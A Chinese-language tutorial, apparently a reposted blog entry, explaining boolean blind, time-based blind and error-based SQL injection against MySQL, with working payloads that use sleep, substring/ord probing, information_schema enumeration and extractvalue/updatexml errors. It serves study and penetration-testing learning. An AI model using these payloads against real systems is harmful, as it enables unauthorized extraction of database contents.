1. 程式人生 > 其它 >盲注&報錯注入-mysql

盲注&報錯注入-mysql

看到身邊同學寫個 sql 注入指令碼不費吹灰之力,我酸了,你要問我是什麼酸,寫不出來的心酸。

前提

SQL 注入通常出現在查詢條件where可控,類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"
那這個where的屁股後面能接上一些什麼sql語句呢?

SELECT * FROM user WHERE user="admin" ADN 1=1
SELECT * FROM user WHERE user="admin" UNION SELECT * FROM xxx WHERE xxx=xxx
SELECT * FROM user WHERE user="admin" ADN sleep(5)
SELECT * FROM user WHERE user="admin" ADN if(xxx=xxx,true,false)

注意:通常我們需要考慮到引數是 整型 還是 字元型,也就是新增 引號

我們知道:

條件語句中的 (expr1 and expr2),expr2 只會在 expr1 為真的情況下才會執行;(expr1 or expr2),expr1、expr2 都會執行

mysql 中有個特殊的資料庫 information_schema,這裡面存了資料庫的所有資訊,包括資料庫名、資料庫表名、資料列名

# 從 information_schema.schemata 查詢所有 庫名
select schema_name from information_schema.schemata

# 從得到的庫名在 information_schema.tables 中查詢該庫內的表名(limit 限制得到的數量,當讓也可以直接使用 group_concat(table_name) 在一行結果中得到所有所有的表名)
select table_name from information_schema.tables where table_schema="xxx" limit 0,1

# 同理可以從 information_schema.columns 中查詢對應表中的列名
select column_name from information_schema.columns where table_schema="xxx" and table_name="xxx" limit 0,1

布林盲注

布林盲注,一般是根據響應內容不同加以判斷,看到以下幾個常用函式:

sql 語法 含義
length("string") 計算字元長度
sleep(5) 延遲n秒
ord("a") 字元轉成ascii
substring("string",strart,length)/substr("string",strart,length) 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元

那麼類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"這個sql注入,我們通過提交怎樣的引數能判斷是否存在布林盲注並注入出資料呢?

# 簡單判斷是否存在布林盲注
1. 首先假設不存在 admin 使用者
?name=admin' or '1'='1   # 最終響應存在該使用者

當使用 and時:
2. 首先假設存在 admin 使用者
?name=admin' and '1'='2   # 最終響應存在該使用者



# 那麼如何注入出資料呢?注意,此時是存在 admin 使用者的,這樣才能確保 and 後面的條件語句被執行。我們假設存在使用者會回顯:使用者存在
?name=admin' and (select length(database())) = 5 and '1'='1    # 此時,只有當資料庫長度恰好等於 5 時,網頁才會回顯使用者存在,因此我們可以依據這個判斷資料庫長度
?name=admin' and (select ord(substring(database(),1,1))) = 97 and '1'='1    # 此時,只有資料庫第一個字母的 ascii 碼為 97,網頁才會回顯使用者存在

時間盲注

時間盲注中常用的有一下幾個 sql 函式及語法:

sql 語法 含義
if(expr1,expr2,expr3) 當expr1成立時,會執行expr2,反之執行expr3
sleep(5) 延遲n秒
benchmark(10000000,sha(1)); BENCHMARK會重複計算expr表示式count次,打到延時
ascii("a") 字元轉成ascii
ord("a") 字元轉成ascii
substring("string",strart,length)/substr("string",strart,length) 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元
MID(column_name,start[,length]) 取出字串裡的第幾位(從 1 開始,而不是 0)開始,長度多少的字元
left(str, len) 字串左擷取函式,返回str的左len個字元
right(str, len) 字串右擷取函式,返回sre的右len個字元

那麼類似於"SELECT * FROM user WHERE user='".$_GET['name']."'"這個 sql 注入,我們通過提交怎樣的引數能注入出資料呢?

?name=' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1

通過不斷替換if語句中的值,如 97 代表 a,我們便可以通過響應時間簡單地注入出資料庫名

報錯注入

構造特殊的 sql 語句,讓資訊以報錯的形式顯示出來。通常利用的是如下的函式

  • UPDATEXML (XML_document, XPath_string, new_value);
  • EXTRACTVALUE (XML_document, XPath_string);
    構造錯誤的XPath_string 引數,使語句報錯從而帶出資料
    例如:
select extractvalue(1,concat(0x7e,(select database()),0x7e))
select updatexml(1,concat(0x7e,(select database()),0x7e),1)

select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))


從圖片中可以發現,報錯的到的結果限定長度 32 位,所以當資料很長的時候需要使用substr、mid等函式截斷結果
select extractvalue(1,concat(0x7e,(select substr("string",1,1)),0x7e))
當然還有一些其他的函式能構造報錯,具體可以看:十種MySQL報錯注入,測試發現:高版本均無法成功